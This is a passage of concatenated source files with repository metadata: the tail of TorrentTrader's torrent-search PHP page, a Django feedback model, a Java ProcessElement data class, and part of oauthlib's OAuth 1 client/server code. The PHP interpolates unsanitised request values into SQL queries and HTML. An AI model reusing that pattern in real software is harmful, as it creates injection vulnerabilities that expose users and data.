"DESC"; break; default: $ascdesc = "DESC"; break; } } else { $_GET["sort"] = "id"; $_GET["order"] = "desc"; $column = "id"; $ascdesc = "DESC"; } $orderby = "ORDER BY torrents." . $column . " " . $ascdesc; $pagerlink = "sort=" . $_GET['sort'] . "&order=" . $_GET['order'] . "&"; if (is_valid_id($_GET["page"])) $thisurl .= "page=$_GET[page]&"; $where = implode(" AND ", $wherea); if ($where != "") $where = "WHERE $where"; if ($parent_cat){ $parent_check = " AND categories.parent_cat='$parent_cat'"; } //GET NUMBER FOUND FOR PAGER $res = mysql_query("SELECT COUNT(*) FROM torrents $where $parent_check") or die(mysql_error()); $row = mysql_fetch_array($res); $count = $row[0]; if (!$count && isset($cleansearchstr)) { $wherea = $wherebase; $searcha = explode(" ", $cleansearchstr); $sc = 0; foreach ($searcha as $searchss) { if (strlen($searchss) <= 1) continue; $sc++; if ($sc > 5) break; $ssa = array(); foreach (array("torrents.name") as $sss) $ssa[] = "$sss LIKE '%" . sqlwildcardesc($searchss) . "%'"; $wherea[] = "(" . implode(" OR ", $ssa) . ")"; } if ($sc) { $where = implode(" AND ", $wherea); if ($where != "") $where = "WHERE $where"; $res = mysql_query("SELECT COUNT(*) FROM torrents $where $parent_check"); $row = mysql_fetch_array($res); $count = $row[0]; } } //Sort by if ($addparam != "") { if ($pagerlink != "") { if ($addparam{strlen($addparam)-1} != ";") { // & = &amp; $addparam = $addparam . "&" . $pagerlink; } else { $addparam = $addparam . $pagerlink; } } } else { $addparam = $pagerlink; } if ($count) { //SEARCH QUERIES! list($pagertop, $pagerbottom, $limit) = pager(20, $count, "torrents-search.php?" . $addparam); $query = "SELECT torrents.id, torrents.anon, torrents.announce, torrents.category, torrents.leechers, torrents.nfo, torrents.seeders, torrents.name, torrents.times_completed, torrents.size, torrents.added, torrents.comments, torrents.numfiles, torrents.filename, torrents.owner, torrents.external, torrents.freeleech, categories.name AS cat_name, categories.parent_cat AS cat_parent, categories.image AS cat_pic, users.username, users.privacy, IF(torrents.numratings < 2, NULL, ROUND(torrents.ratingsum / torrents.numratings, 1)) AS rating FROM torrents LEFT JOIN categories ON category = categories.id LEFT JOIN users ON torrents.owner = users.id $where $parent_check $orderby $limit"; $res = mysql_query($query) or die(mysql_error()); }else{ unset($res); } if (isset($cleansearchstr)) stdhead("Search results for \"$searchstr\""); else stdhead("Browse Torrents"); begin_frame("" . SEARCH_TITLE . ""); // get all parent cats echo "<CENTER><B>".CATEGORIES.":</B> "; $catsquery = mysql_query("SELECT distinct parent_cat FROM categories ORDER BY parent_cat")or die(mysql_error()); echo " - <a href=torrents.php>".SHOWALL."</a>"; while($catsrow = MYSQL_FETCH_ARRAY($catsquery)){ echo " - <a href=torrents.php?parent_cat=".urlencode($catsrow['parent_cat']).">$catsrow[parent_cat]</a>"; } ?> <BR><BR> <form method="get" action="torrents-search.php"> <table class=bottom align="center"> <tr align='right'> <? $i = 0; $cats = mysql_query("SELECT * FROM categories ORDER BY parent_cat, name"); while ($cat = mysql_fetch_assoc($cats)) { $catsperrow = 5; print(($i && $i % $catsperrow == 0) ? "</tr><tr align='right'>" : ""); print("<td style=\"padding-bottom: 2px;padding-left: 2px\"><a class=catlink href=torrents.php?cat={$cat["id"]}>".htmlspecialchars($cat["parent_cat"])." - " . htmlspecialchars($cat["name"]) . "</a><input name=c{$cat["id"]} type=\"checkbox\" " . (in_array($cat["id"], $wherecatina) ? "checked " : "") . "value=1></td>\n"); $i++; } echo "</tr></table>"; //if we are browsing, display all subcats that are in same cat if ($parent_cat){ echo "<BR><BR><b>You are in:</b> <a href=torrents.php?parent_cat=$parent_cat>$parent_cat</a><BR><B>Sub Categories:</B> "; $subcatsquery = mysql_query("SELECT id, name, parent_cat FROM categories WHERE parent_cat='$parent_cat' ORDER BY name")or die(mysql_error()); while($subcatsrow = MYSQL_FETCH_ARRAY($subcatsquery)){ $name = $subcatsrow['name']; echo " - <a href=torrents.php?cat=$subcatsrow[id]>$name</a>"; } } echo "</CENTER><BR><BR>";//some spacing ?> <CENTER> <? print("" . SEARCH . "\n"); ?> <input type="text" name="search" size="40" value="<?= stripslashes(htmlspecialchars($searchstr)) ?>" /> <? print("" . IN . "\n"); ?> <select name="cat"> <option value="0"><? echo "(".ALL." ".TYPES.")";?></option> <? $cats = genrelist(); $catdropdown = ""; foreach ($cats as $cat) { $catdropdown .= "<option value=\"" . $cat["id"] . "\""; if ($cat["id"] == $_GET["cat"]) $catdropdown .= " selected=\"selected\""; $catdropdown .= ">" . htmlspecialchars($cat["parent_cat"]) . ": " . htmlspecialchars($cat["name"]) . "</option>\n"; } ?> <?= $catdropdown ?> </select> <BR><BR> <select name="incldead"> <option value="0"><?php echo "".ACTIVE_TRANSFERS."";?></option> <option value="1" <?php if ($_GET["incldead"] == 1) echo "selected"; ?>><?php echo "".INC_DEAD."";?></option> <option value="2" <?php if ($_GET["incldead"] == 2) echo "selected"; ?>><?php echo "".ONLY_DEAD."";?></option> </select> <select name="freeleech"> <option value="0">Any</option> <option value="1" <?php if ($_GET["freeleech"] == 1) echo "selected"; ?>>Not freeleech</option> <option value="2" <?php if ($_GET["freeleech"] == 2) echo "selected"; ?>>Only freeleech</option> </select> <?if ($site_config["ALLOWEXTERNAL"]){?> <select name="inclexternal"> <option value="0">Local/External</option> <option value="1" <?php if ($_GET["inclexternal"] == 1) echo "selected"; ?>>Local Only</option> <option value="2" <?php if ($_GET["inclexternal"] == 2) echo "selected"; ?>>External Only</option> </select> <? } ?> <select name="lang"> <option value="0"><? echo "(".ALL.")";?></option> <? $lang = langlist(); $langdropdown = ""; foreach ($lang as $lang) { $langdropdown .= "<option value=\"" . $lang["id"] . "\""; if ($lang["id"] == $_GET["lang"]) $langdropdown .= " selected=\"selected\""; $langdropdown .= ">" . htmlspecialchars($lang["name"]) . "</option>\n"; } ?> <?= $langdropdown ?> </select> <input type="submit" value="<? print("" . SEARCH . "\n"); ?>" /> <br> </form> </CENTER><CENTER><? print("" . SEARCH_RULES . "\n"); ?></CENTER><BR> <? //sort /* echo "<div align=right><form action='' name='jump' method='GET'>"; echo "Sort By: <select name='sort' onChange='document.jump.submit();' style=\"font-family: Verdana; font-size: 8pt; border: 1px solid #000000; background-color: #CCCCCC\" size=\"1\">"; echo "<option value='id'" . ($_GET["sort"] == "id" ? "selected" : "") . ">Added</option>"; echo "<option value='name'" . ($_GET["sort"] == "name" ? "selected" : "") . ">Name</option>"; echo "<option value='comments'" . ($_GET["sort"] == "comments" ? "selected" : "") . ">Comments</option>"; echo "<option value='size'" . ($_GET["sort"] == "size" ? "selected" : "") . ">Size</option>"; echo "<option value='times_completed'" . ($_GET["sort"] == "times_completed" ? "selected" : "") . ">Completed</option>"; echo "<option value='seeders'" . ($_GET["sort"] == "seeders" ? "selected" : "") . ">Seeders</option>"; echo "<option value='leechers'" . ($_GET["sort"] == "leechers" ? "selected" : "") . ">Leechers</option>"; echo "</select>&nbsp;"; echo "<select name='order' onChange='document.jump.submit();' style=\"font-family: Verdana; font-size: 8pt; border: 1px solid #000000; background-color: #CCCCCC\" size=\"1\">"; echo "<option selected value='asc'" . ($_GET["order"] == "asc" ? "selected" : "") . ">Ascend</option>"; echo "<option value='desc'" . ($_GET["order"] == "desc" ? "selected" : "") . ">Descend</option>"; echo "</select>"; echo "</form>"; echo "</div>"; ********** OLD CODE *************/ if ($count) { // New code (TorrentialStorm) echo "<div align=right><form id='sort'>".SORT_BY.": <select name='sort' onChange='window.location=\"{$thisurl}sort=\"+this.options[this.selectedIndex].value+\"&order=\"+document.forms[\"sort\"].order.options[document.forms[\"sort\"].order.selectedIndex].value' style=\"font-family: Verdana; font-size: 8pt; border: 1px solid #000000; background-color: #CCCCCC\" size=\"1\">"; echo "<option value='id'" . ($_GET["sort"] == "id" ? "selected" : "") . ">".ADDED."</option>"; echo "<option value='name'" . ($_GET["sort"] == "name" ? "selected" : "") . ">".NAME."</option>"; echo "<option value='comments'" . ($_GET["sort"] == "comments" ? "selected" : "") . ">".COMMENTS."</option>"; echo "<option value='size'" . ($_GET["sort"] == "size" ? "selected" : "") . ">".SIZE."</option>"; echo "<option value='times_completed'" . ($_GET["sort"] == "times_completed" ? "selected" : "") . ">".COMPLETED."</option>"; echo "<option value='seeders'" . ($_GET["sort"] == "seeders" ? "selected" : "") . ">".SEEDS."</option>"; echo "<option value='leechers'" . ($_GET["sort"] == "leechers" ? "selected" : "") . ">".LEECH."</option>"; echo "</select>&nbsp;"; echo "<select name='order' onChange='window.location=\"{$thisurl}order=\"+this.options[this.selectedIndex].value+\"&sort=\"+document.forms[\"sort\"].sort.options[document.forms[\"sort\"].sort.selectedIndex].value' style=\"font-family: Verdana; font-size: 8pt; border: 1px solid #000000; background-color: #CCCCCC\" size=\"1\">"; echo "<option selected value='asc'" . ($_GET["order"] == "asc" ? "selected" : "") . ">".ASCEND."</option>"; echo "<option value='desc'" . ($_GET["order"] == "desc" ? "selected" : "") . ">".DESCEND."</option>"; echo "</select>"; echo "</form></div>"; // End torrenttable($res); print($pagerbottom); }else { show_error_msg("" . NOTHING_FOUND . "", "" . NO_RESULTS . "",0); } if ($CURUSER) mysql_query("UPDATE users SET last_browse=".gmtime()." WHERE id=$CURUSER[id]"); end_frame(); stdfoot(); ?>
BamBam0077/TorrentTrader-2.06
torrents-search.php
PHP
gpl-3.0
13,485
# -*- coding: utf-8 -*- from django.db import models from django.utils.translation import ugettext_lazy as _ from redsolutioncms.models import CMSSettings, BaseSettings, BaseSettingsManager FIELD_TYPES = ( ('BooleanField', _('Checkbox')), ('CharField', _('Character field')), ('Text', _('Text area')), ('EmailField', _('Email field')), ) class FeedbackSettingsManager(BaseSettingsManager): def get_settings(self): if self.get_query_set().count(): return self.get_query_set()[0] else: feedback_settings = self.get_query_set().create() # cms_settings = CMSSettings.objects.get_settings() return feedback_settings class FeedbackSettings(BaseSettings): # use_direct_view = models.BooleanField( # verbose_name=_('Use dedicated view to render feedback page'), # default=True # ) # Temporary hadrcoded use_direct_view = True use_custom_form = models.BooleanField(verbose_name=_('Use custom feedback form'), default=False) objects = FeedbackSettingsManager() class FormField(models.Model): feedback_settings = models.ForeignKey('FeedbackSettings') field_type = models.CharField(verbose_name=_('Type of field'), choices=FIELD_TYPES, max_length=255) field_name = models.CharField(verbose_name=_('Verbose name of field'), max_length=255)
redsolution/django-simple-feedback
feedback/redsolution_setup/models.py
Python
gpl-3.0
1,391
/*============================================================================== * File $Id$ * Project: ProWim * * $LastChangedDate: 2010-07-19 17:01:15 +0200 (Mon, 19 Jul 2010) $ * $LastChangedBy: wardi $ * $HeadURL: https://repository.ebcot.info/wivu/trunk/prowim-server/src/de/ebcot/prowim/datamodel/prowim/ProcessElement.java $ * $LastChangedRevision: 4323 $ *------------------------------------------------------------------------------ * (c) 06.08.2009 Ebcot Business Solutions GmbH. More info: http://www.ebcot.de * All rights reserved. Use is subject to license terms. *============================================================================== * *This file is part of ProWim. ProWim is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. ProWim is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with ProWim. If not, see <http://www.gnu.org/licenses/>. Diese Datei ist Teil von ProWim. ProWim ist Freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation, Version 3 der Lizenz oder (nach Ihrer Option) jeder späteren veröffentlichten Version, weiterverbreiten und/oder modifizieren. ProWim wird in der Hoffnung, dass es nützlich sein wird, aber OHNE JEDE GEWÄHELEISTUNG, bereitgestellt; sogar ohne die implizite Gewährleistung der MARKTFÄHIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Siehe die GNU General Public License für weitere Details. Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Wenn nicht, siehe <http://www.gnu.org/licenses/>. */ package org.prowim.datamodel.prowim; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlType; import org.apache.commons.lang.StringEscapeUtils; import org.apache.commons.lang.Validate; import org.prowim.datamodel.collections.StringArray; import org.prowim.utils.JSONConvertible; /** * This is a data object as parent for all process element objects.<br> * A process element is an element of a {@link Process process} * * @author Saad Wardi * @version $Revision: 4323 $ */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "ProcessElement", propOrder = { "id", "name", "createTime", "description", "className", "keyWords" }) public class ProcessElement implements JSONConvertible { private String id; private String name; private String createTime; private String description; private String className; private StringArray keyWords = new StringArray(); /** * Creates a ProcessElement. * * @param id {@link ProcessElement#setID(String)} * @param name {@link ProcessElement#setName(String)} * @param createTime {@link ProcessElement#setCreateTime(String)} */ protected ProcessElement(String id, String name, String createTime) { setID(id); setName(name); setCreateTime(createTime); } /** * This non-arg constructor is needed to bind this DataObject in EJB-Context. See the J2EE specification. */ protected ProcessElement() { } /** * ProcessElementement#setID(String)} * * @return the id . not null */ public String getID() { return id; } /** * Sets the ID of the template to a ProcessElement instance. * * @param id the not null ID to set */ private void setID(String id) { Validate.notNull(id); this.id = id; } /** * {@link ProcessElement#setName(String)} * * @return the name . not null */ public String getName() { return name; } /** * Sets the name of the template to a ProcessElement instance. * * @param name the not null name to set */ public void setName(String name) { Validate.notNull(name); this.name = name; } /** * {@link ProcessElement#setCreateTime(String)} * * @return the createTime */ public String getCreateTime() { return createTime; } /** * Sets the name of the template to a ProcessElement instance. * * @param createTime the not null createTime to set. */ private void setCreateTime(String createTime) { Validate.notNull(createTime); this.createTime = createTime; } /** * Gets the value of the description property. * * @return possible object is {@link String}. cann be null if no description is specified. * */ public String getDescription() { return description; } /** * Sets the value of the description property. * * @param value allowed object is {@link String}. null is possible. * */ public void setDescription(String value) { this.description = value; } /** * {@inheritDoc} * * @see java.lang.Object#toString() */ @Override public String toString() { return this.getName(); } /** * * {@inheritDoc} * * @see org.prowim.utils.JSONConvertible#toJSON() */ public String toJSON() { StringBuilder builder = new StringBuilder(); builder.append("{"); builder.append("className:\""); builder.append(StringEscapeUtils.escapeJavaScript(this.getClassName())); builder.append("\","); builder.append("name:\""); builder.append(StringEscapeUtils.escapeJavaScript(this.getName())); builder.append("\","); builder.append("description:\""); builder.append(StringEscapeUtils.escapeJavaScript(this.getDescription())); builder.append("\","); builder.append("id:\""); builder.append(StringEscapeUtils.escapeJavaScript(this.getID())); builder.append("\"}"); return builder.toString(); } /** * Sets the class name of the concrete instance * * @param className the className to set */ public void setClassName(String className) { this.className = className; } /** * Gets the class name of the concrete instance * * @return the className, can be <code>NULL</code> */ public String getClassName() { return className; } /** * Sets a list of key words for element * * @param keyWords the keyWords to set */ public void setKeyWords(StringArray keyWords) { this.keyWords = keyWords; } /** * Get all key words of this element * * @return the keyWords */ public StringArray getKeyWords() { return keyWords; } /** * * Add the given key word to the list of key words. It can not be null. * * @param keyWord a key word for given element. Not null. */ public void addKeyWord(String keyWord) { Validate.notNull(keyWord, "Key word can not be null."); this.keyWords.add(keyWord); } }
prowim/prowim
prowim-data/src/org/prowim/datamodel/prowim/ProcessElement.java
Java
gpl-3.0
7,775
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals """ oauthlib.oauth1.rfc5849 ~~~~~~~~~~~~~~ This module is an implementation of various logic needed for signing and checking OAuth 1.0 RFC 5849 requests. """ import logging log = logging.getLogger("oauthlib") import sys import time try: import urlparse except ImportError: import urllib.parse as urlparse if sys.version_info[0] == 3: bytes_type = bytes else: bytes_type = str from ...common import Request, urlencode, generate_nonce from ...common import generate_timestamp, to_unicode from . import parameters, signature, utils SIGNATURE_HMAC = "HMAC-SHA1" SIGNATURE_RSA = "RSA-SHA1" SIGNATURE_PLAINTEXT = "PLAINTEXT" SIGNATURE_METHODS = (SIGNATURE_HMAC, SIGNATURE_RSA, SIGNATURE_PLAINTEXT) SIGNATURE_TYPE_AUTH_HEADER = 'AUTH_HEADER' SIGNATURE_TYPE_QUERY = 'QUERY' SIGNATURE_TYPE_BODY = 'BODY' CONTENT_TYPE_FORM_URLENCODED = 'application/x-www-form-urlencoded' class Client(object): """A client used to sign OAuth 1.0 RFC 5849 requests""" def __init__(self, client_key, client_secret=None, resource_owner_key=None, resource_owner_secret=None, callback_uri=None, signature_method=SIGNATURE_HMAC, signature_type=SIGNATURE_TYPE_AUTH_HEADER, rsa_key=None, verifier=None, realm=None, encoding='utf-8', decoding=None, nonce=None, timestamp=None): """Create an OAuth 1 client. :param client_key: Client key (consumer key), mandatory. :param resource_owner_key: Resource owner key (oauth token). :param resource_owner_secret: Resource owner secret (oauth token secret). :param callback_uri: Callback used when obtaining request token. :param signature_method: SIGNATURE_HMAC, SIGNATURE_RSA or SIGNATURE_PLAINTEXT. :param signature_type: SIGNATURE_TYPE_AUTH_HEADER (default), SIGNATURE_TYPE_QUERY or SIGNATURE_TYPE_BODY depending on where you want to embed the oauth credentials. :param rsa_key: RSA key used with SIGNATURE_RSA. :param verifier: Verifier used when obtaining an access token. :param realm: Realm (scope) to which access is being requested. :param encoding: If you provide non-unicode input you may use this to have oauthlib automatically convert. :param decoding: If you wish that the returned uri, headers and body from sign be encoded back from unicode, then set decoding to your preferred encoding, i.e. utf-8. :param nonce: Use this nonce instead of generating one. (Mainly for testing) :param timestamp: Use this timestamp instead of using current. (Mainly for testing) """ # Convert to unicode using encoding if given, else assume unicode encode = lambda x: to_unicode(x, encoding) if encoding else x self.client_key = encode(client_key) self.client_secret = encode(client_secret) self.resource_owner_key = encode(resource_owner_key) self.resource_owner_secret = encode(resource_owner_secret) self.signature_method = encode(signature_method) self.signature_type = encode(signature_type) self.callback_uri = encode(callback_uri) self.rsa_key = encode(rsa_key) self.verifier = encode(verifier) self.realm = encode(realm) self.encoding = encode(encoding) self.decoding = encode(decoding) self.nonce = encode(nonce) self.timestamp = encode(timestamp) if self.signature_method == SIGNATURE_RSA and self.rsa_key is None: raise ValueError('rsa_key is required when using RSA signature method.') def get_oauth_signature(self, request): """Get an OAuth signature to be used in signing a request """ if self.signature_method == SIGNATURE_PLAINTEXT: # fast-path return signature.sign_plaintext(self.client_secret, self.resource_owner_secret) uri, headers, body = self._render(request) collected_params = signature.collect_parameters( uri_query=urlparse.urlparse(uri).query, body=body, headers=headers) log.debug("Collected params: {0}".format(collected_params)) normalized_params = signature.normalize_parameters(collected_params) normalized_uri = signature.normalize_base_string_uri(request.uri) log.debug("Normalized params: {0}".format(normalized_params)) log.debug("Normalized URI: {0}".format(normalized_uri)) base_string = signature.construct_base_string(request.http_method, normalized_uri, normalized_params) log.debug("Base signing string: {0}".format(base_string)) if self.signature_method == SIGNATURE_HMAC: sig = signature.sign_hmac_sha1(base_string, self.client_secret, self.resource_owner_secret) elif self.signature_method == SIGNATURE_RSA: sig = signature.sign_rsa_sha1(base_string, self.rsa_key) else: sig = signature.sign_plaintext(self.client_secret, self.resource_owner_secret) log.debug("Signature: {0}".format(sig)) return sig def get_oauth_params(self): """Get the basic OAuth parameters to be used in generating a signature. """ nonce = (generate_nonce() if self.nonce is None else self.nonce) timestamp = (generate_timestamp() if self.timestamp is None else self.timestamp) params = [ ('oauth_nonce', nonce), ('oauth_timestamp', timestamp), ('oauth_version', '1.0'), ('oauth_signature_method', self.signature_method), ('oauth_consumer_key', self.client_key), ] if self.resource_owner_key: params.append(('oauth_token', self.resource_owner_key)) if self.callback_uri: params.append(('oauth_callback', self.callback_uri)) if self.verifier: params.append(('oauth_verifier', self.verifier)) return params def _render(self, request, formencode=False, realm=None): """Render a signed request according to signature type Returns a 3-tuple containing the request URI, headers, and body. If the formencode argument is True and the body contains parameters, it is escaped and returned as a valid formencoded string. """ # TODO what if there are body params on a header-type auth? # TODO what if there are query params on a body-type auth? uri, headers, body = request.uri, request.headers, request.body # TODO: right now these prepare_* methods are very narrow in scope--they # only affect their little thing. In some cases (for example, with # header auth) it might be advantageous to allow these methods to touch # other parts of the request, like the headers—so the prepare_headers # method could also set the Content-Type header to x-www-form-urlencoded # like the spec requires. This would be a fundamental change though, and # I'm not sure how I feel about it. if self.signature_type == SIGNATURE_TYPE_AUTH_HEADER: headers = parameters.prepare_headers(request.oauth_params, request.headers, realm=realm) elif self.signature_type == SIGNATURE_TYPE_BODY and request.decoded_body is not None: body = parameters.prepare_form_encoded_body(request.oauth_params, request.decoded_body) if formencode: body = urlencode(body) headers['Content-Type'] = 'application/x-www-form-urlencoded' elif self.signature_type == SIGNATURE_TYPE_QUERY: uri = parameters.prepare_request_uri_query(request.oauth_params, request.uri) else: raise ValueError('Unknown signature type specified.') return uri, headers, body def sign(self, uri, http_method='GET', body=None, headers=None, realm=None): """Sign a request Signs an HTTP request with the specified parts. Returns a 3-tuple of the signed request's URI, headers, and body. Note that http_method is not returned as it is unaffected by the OAuth signing process. Also worth noting is that duplicate parameters will be included in the signature, regardless of where they are specified (query, body). The body argument may be a dict, a list of 2-tuples, or a formencoded string. The Content-Type header must be 'application/x-www-form-urlencoded' if it is present. If the body argument is not one of the above, it will be returned verbatim as it is unaffected by the OAuth signing process. Attempting to sign a request with non-formencoded data using the OAuth body signature type is invalid and will raise an exception. If the body does contain parameters, it will be returned as a properly- formatted formencoded string. Body may not be included if the http_method is either GET or HEAD as this changes the semantic meaning of the request. All string data MUST be unicode or be encoded with the same encoding scheme supplied to the Client constructor, default utf-8. This includes strings inside body dicts, for example. """ # normalize request data request = Request(uri, http_method, body, headers, encoding=self.encoding) # sanity check content_type = request.headers.get('Content-Type', None) multipart = content_type and content_type.startswith('multipart/') should_have_params = content_type == CONTENT_TYPE_FORM_URLENCODED has_params = request.decoded_body is not None # 3.4.1.3.1. Parameter Sources # [Parameters are collected from the HTTP request entity-body, but only # if [...]: # * The entity-body is single-part. if multipart and has_params: raise ValueError("Headers indicate a multipart body but body contains parameters.") # * The entity-body follows the encoding requirements of the # "application/x-www-form-urlencoded" content-type as defined by # [W3C.REC-html40-19980424]. elif should_have_params and not has_params: raise ValueError("Headers indicate a formencoded body but body was not decodable.") # * The HTTP request entity-header includes the "Content-Type" # header field set to "application/x-www-form-urlencoded". elif not should_have_params and has_params: raise ValueError("Body contains parameters but Content-Type header was not set.") # 3.5.2. Form-Encoded Body # Protocol parameters can be transmitted in the HTTP request entity- # body, but only if the following REQUIRED conditions are met: # o The entity-body is single-part. # o The entity-body follows the encoding requirements of the # "application/x-www-form-urlencoded" content-type as defined by # [W3C.REC-html40-19980424]. # o The HTTP request entity-header includes the "Content-Type" header # field set to "application/x-www-form-urlencoded". elif self.signature_type == SIGNATURE_TYPE_BODY and not ( should_have_params and has_params and not multipart): raise ValueError('Body signatures may only be used with form-urlencoded content') # We amend http://tools.ietf.org/html/rfc5849#section-3.4.1.3.1 # with the clause that parameters from body should only be included # in non GET or HEAD requests. Extracting the request body parameters # and including them in the signature base string would give semantic # meaning to the body, which it should not have according to the # HTTP 1.1 spec. elif http_method.upper() in ('GET', 'HEAD') and has_params: raise ValueError('GET/HEAD requests should not include body.') # generate the basic OAuth parameters request.oauth_params = self.get_oauth_params() # generate the signature request.oauth_params.append(('oauth_signature', self.get_oauth_signature(request))) # render the signed request and return it uri, headers, body = self._render(request, formencode=True, realm=(realm or self.realm)) if self.decoding: log.debug('Encoding URI, headers and body to %s.', self.decoding) uri = uri.encode(self.decoding) body = body.encode(self.decoding) if body else body new_headers = {} for k, v in headers.items(): new_headers[k.encode(self.decoding)] = v.encode(self.decoding) headers = new_headers return uri, headers, body class Server(object): """A server base class used to verify OAuth 1.0 RFC 5849 requests OAuth providers should inherit from Server and implement the methods and properties outlined below. Further details are provided in the documentation for each method and property. Methods used to check the format of input parameters. Common tests include length, character set, membership, range or pattern. These tests are referred to as `whitelisting or blacklisting`_. Whitelisting is better but blacklisting can be usefull to spot malicious activity. The following have methods a default implementation: - check_client_key - check_request_token - check_access_token - check_nonce - check_verifier - check_realm The methods above default to whitelist input parameters, checking that they are alphanumerical and between a minimum and maximum length. Rather than overloading the methods a few properties can be used to configure these methods. * @safe_characters -> (character set) * @client_key_length -> (min, max) * @request_token_length -> (min, max) * @access_token_length -> (min, max) * @nonce_length -> (min, max) * @verifier_length -> (min, max) * @realms -> [list, of, realms] Methods used to validate input parameters. These checks usually hit either persistent or temporary storage such as databases or the filesystem. See each methods documentation for detailed usage. The following methods must be implemented: - validate_client_key - validate_request_token - validate_access_token - validate_timestamp_and_nonce - validate_redirect_uri - validate_requested_realm - validate_realm - validate_verifier Method used to retrieve sensitive information from storage. The following methods must be implemented: - get_client_secret - get_request_token_secret - get_access_token_secret - get_rsa_key To prevent timing attacks it is necessary to not exit early even if the client key or resource owner key is invalid. Instead dummy values should be used during the remaining verification process. It is very important that the dummy client and token are valid input parameters to the methods get_client_secret, get_rsa_key and get_(access/request)_token_secret and that the running time of those methods when given a dummy value remain equivalent to the running time when given a valid client/resource owner. The following properties must be implemented: * @dummy_client * @dummy_request_token * @dummy_access_token Example implementations have been provided, note that the database used is a simple dictionary and serves only an illustrative purpose. Use whichever database suits your project and how to access it is entirely up to you. The methods are introduced in an order which should make understanding their use more straightforward and as such it could be worth reading what follows in chronological order. .. _`whitelisting or blacklisting`: http://www.schneier.com/blog/archives/2011/01/whitelisting_vs.html """ def __init__(self): pass @property def allowed_signature_methods(self): return SIGNATURE_METHODS @property def safe_characters(self): return set(utils.UNICODE_ASCII_CHARACTER_SET) @property def client_key_length(self): return 20, 30 @property def request_token_length(self): return 20, 30 @property def access_token_length(self): return 20, 30 @property def timestamp_lifetime(self): return 600 @property def nonce_length(self): return 20, 30 @property def verifier_length(self): return 20, 30 @property def realms(self): return [] @property def enforce_ssl(self): return True def check_client_key(self, client_key): """Check that the client key only contains safe characters and is no shorter than lower and no longer than upper. """ lower, upper = self.client_key_length return (set(client_key) <= self.safe_characters and lower <= len(client_key) <= upper) def check_request_token(self, request_token): """Checks that the request token contains only safe characters and is no shorter than lower and no longer than upper. """ lower, upper = self.request_token_length return (set(request_token) <= self.safe_characters and lower <= len(request_token) <= upper) def check_access_token(self, request_token): """Checks that the token contains only safe characters and is no shorter than lower and no longer than upper. """ lower, upper = self.access_token_length return (set(request_token) <= self.safe_characters and lower <= len(request_token) <= upper) def check_nonce(self, nonce): """Checks that the nonce only contains only safe characters and is no shorter than lower and no longer than upper. """ lower, upper = self.nonce_length return (set(nonce) <= self.safe_characters and lower <= len(nonce) <= upper) def check_verifier(self, verifier): """Checks that the verifier contains only safe characters and is no shorter than lower and no longer than upper. """ lower, upper = self.verifier_length return (set(verifier) <= self.safe_characters and lower <= len(verifier) <= upper) def check_realm(self, realm): """Check that the realm is one of a set allowed realms. """ return realm in self.realms def get_client_secret(self, client_key): """Retrieves the client secret associated with the client key. This method must allow the use of a dummy client_key value. Fetching the secret using the dummy key must take the same amount of time as fetching a secret for a valid client:: # Unlikely to be near constant time as it uses two database # lookups for a valid client, and only one for an invalid. from your_datastore import ClientSecret if ClientSecret.has(client_key): return ClientSecret.get(client_key) else: return 'dummy' # Aim to mimic number of latency inducing operations no matter # whether the client is valid or not. from your_datastore import ClientSecret return ClientSecret.get(client_key, 'dummy') Note that the returned key must be in plaintext. """ raise NotImplementedError("Subclasses must implement this function.") @property def dummy_client(self): """Dummy client used when an invalid client key is supplied. The dummy client should be associated with either a client secret, a rsa key or both depending on which signature methods are supported. Providers should make sure that get_client_secret(dummy_client) get_rsa_key(dummy_client) return a valid secret or key for the dummy client. """ raise NotImplementedError("Subclasses must implement this function.") def get_request_token_secret(self, client_key, request_token): """Retrieves the shared secret associated with the request token. This method must allow the use of a dummy values and the running time must be roughly equivalent to that of the running time of valid values:: # Unlikely to be near constant time as it uses two database # lookups for a valid client, and only one for an invalid. from your_datastore import RequestTokenSecret if RequestTokenSecret.has(client_key): return RequestTokenSecret.get((client_key, request_token)) else: return 'dummy' # Aim to mimic number of latency inducing operations no matter # whether the client is valid or not. from your_datastore import RequestTokenSecret return ClientSecret.get((client_key, request_token), 'dummy') Note that the returned key must be in plaintext. """ raise NotImplementedError("Subclasses must implement this function.") def get_access_token_secret(self, client_key, access_token): """Retrieves the shared secret associated with the access token. This method must allow the use of a dummy values and the running time must be roughly equivalent to that of the running time of valid values:: # Unlikely to be near constant time as it uses two database # lookups for a valid client, and only one for an invalid. from your_datastore import AccessTokenSecret if AccessTokenSecret.has(client_key): return AccessTokenSecret.get((client_key, request_token)) else: return 'dummy' # Aim to mimic number of latency inducing operations no matter # whether the client is valid or not. from your_datastore import AccessTokenSecret return ClientSecret.get((client_key, request_token), 'dummy') Note that the returned key must be in plaintext. """ raise NotImplementedError("Subclasses must implement this function.") @property def dummy_request_token(self): """Dummy request token used when an invalid token was supplied. The dummy request token should be associated with a request token secret such that get_request_token_secret(.., dummy_request_token) returns a valid secret. """ raise NotImplementedError("Subclasses must implement this function.") @property def dummy_access_token(self): """Dummy access token used when an invalid token was supplied. The dummy access token should be associated with an access token secret such that get_access_token_secret(.., dummy_access_token) returns a valid secret. """ raise NotImplementedError("Subclasses must implement this function.") def get_rsa_key(self, client_key): """Retrieves a previously stored client provided RSA key. This method must allow the use of a dummy client_key value. Fetching the rsa key using the dummy key must take the same amount of time as fetching a key for a valid client. The dummy key must also be of the same bit length as client keys. Note that the key must be returned in plaintext. """ raise NotImplementedError("Subclasses must implement this function.") def _get_signature_type_and_params(self, request): """Extracts parameters from query, headers and body. Signature type is set to the source in which parameters were found. """ # Per RFC5849, only the Authorization header may contain the 'realm' optional parameter. header_params = signature.collect_parameters(headers=request.headers, exclude_oauth_signature=False, with_realm=True) body_params = signature.collect_parameters(body=request.body, exclude_oauth_signature=False) query_params = signature.collect_parameters(uri_query=request.uri_query, 